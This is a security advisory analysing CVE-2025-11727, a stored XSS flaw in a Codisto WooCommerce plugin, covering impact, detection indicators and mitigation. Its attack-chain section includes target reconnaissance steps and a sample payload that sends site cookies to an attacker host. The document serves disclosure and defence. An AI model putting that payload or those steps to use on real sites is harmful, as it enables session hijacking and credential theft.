CVE-2025-11727: 
WordPress vulnerability analysis and mitigation

CVE-2025-11727 is a Stored Cross-Site Scripting (XSS) vulnerability in the "Omnichannel for WooCommerce: Google, Amazon, eBay & Walmart Integration – Powered by Codisto" WordPress plugin. It affects all versions up to and including 1.3.65, and was published on December 4, 2025. The flaw allows unauthenticated attackers to inject arbitrary web scripts that execute when any user visits an affected page. It carries a CVSS v3.1 base score of 7.2 (High) (Wordfence, Red Hat CVE).

The vulnerability is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation – Cross-Site Scripting) and stems from insufficient input sanitization and output escaping within the plugin's sync() function in connect.php. Specifically, unsanitized data is processed and rendered at multiple locations in the file (lines 2101, 2117, 3063, 3248, 3249), allowing attacker-controlled content to be stored and later reflected to site visitors. No authentication is required to trigger the injection, making the attack surface broad for any internet-facing WordPress/WooCommerce installation running the affected plugin (Wordfence, WordPress Trac).

Successful exploitation allows unauthenticated attackers to persistently store malicious JavaScript in the WordPress database, which then executes in the browsers of any user — including administrators — who visits the affected page. This can lead to session hijacking, credential theft, unauthorized administrative actions, defacement, or redirection to malicious sites. The changed scope (S:C) in the CVSS vector reflects that the impact extends beyond the vulnerable component to the browsers of affected users (Wordfence, Red Hat CVE).

The vulnerability has an EPSS score of approximately 0.104%, indicating a low but non-negligible probability of exploitation in the wild. No public exploit code or active in-the-wild exploitation campaigns have been reported as of the available data. The vulnerability does not appear in the CISA Known Exploited Vulnerabilities (KEV) catalog, though it was referenced in a CISA weekly vulnerability bulletin for the week of December 1, 2025 (CISA Bulletin, Wordfence).

1. Reconnaissance: Identify WordPress sites running the Codisto/Omnichannel for WooCommerce plugin (version ≤ 1.3.65) using tools like WPScan, Shodan, or by inspecting plugin directories on target sites.
2. Identify the vulnerable endpoint: Locate the sync() function endpoint in the plugin's connect.php file that processes external marketplace sync data without proper sanitization.
3. Craft malicious payload: Prepare a stored XSS payload (e.g., <script>document.location='https://attacker.com/steal?c='+document.cookie</script>) to be injected via the sync mechanism.
4. Inject the payload: Submit the crafted payload through the plugin's sync interface or any unauthenticated request path that feeds data into the vulnerable sync() function, causing it to be stored in the WordPress database.
5. Trigger execution: Wait for an authenticated user (e.g., a site administrator) to visit the page where the injected content is rendered, causing the malicious script to execute in their browser and potentially compromising their session or credentials (Wordfence, WordPress Trac).

• Logs: WordPress access logs showing unusual or unexpected POST requests to plugin endpoints associated with codistoconnect or the sync functionality, particularly from unknown or external IP addresses.
• Database: Unexpected <script> tags or encoded JavaScript payloads stored in WordPress database tables (e.g., wp_options, wp_postmeta) associated with the Codisto plugin's sync data.
• Network: Outbound connections from user browsers to unknown external domains shortly after visiting WooCommerce admin or product pages (indicative of XSS payload execution).
• File System: Unexpected modifications to connect.php or other plugin files in the wp-content/plugins/codistoconnect/ directory.

WordPress site administrators should update the Omnichannel for WooCommerce (Codisto) plugin to a version beyond 1.3.65 that includes the fix for this vulnerability. If an updated version is not yet available or cannot be immediately applied, consider temporarily deactivating the plugin to eliminate the attack surface. Additionally, deploying a Web Application Firewall (WAF) with XSS filtering rules can help mitigate exploitation attempts in the interim (Wordfence).

The vulnerability was disclosed by Wordfence and picked up by several security aggregators and social media accounts shortly after publication. It was referenced in CISA's weekly vulnerability bulletin for the week of December 1, 2025, and noted by automated security feeds on Mastodon and Bluesky. No significant vendor statements or notable researcher commentary beyond the initial Wordfence disclosure have been identified (CISA Bulletin, Wordfence).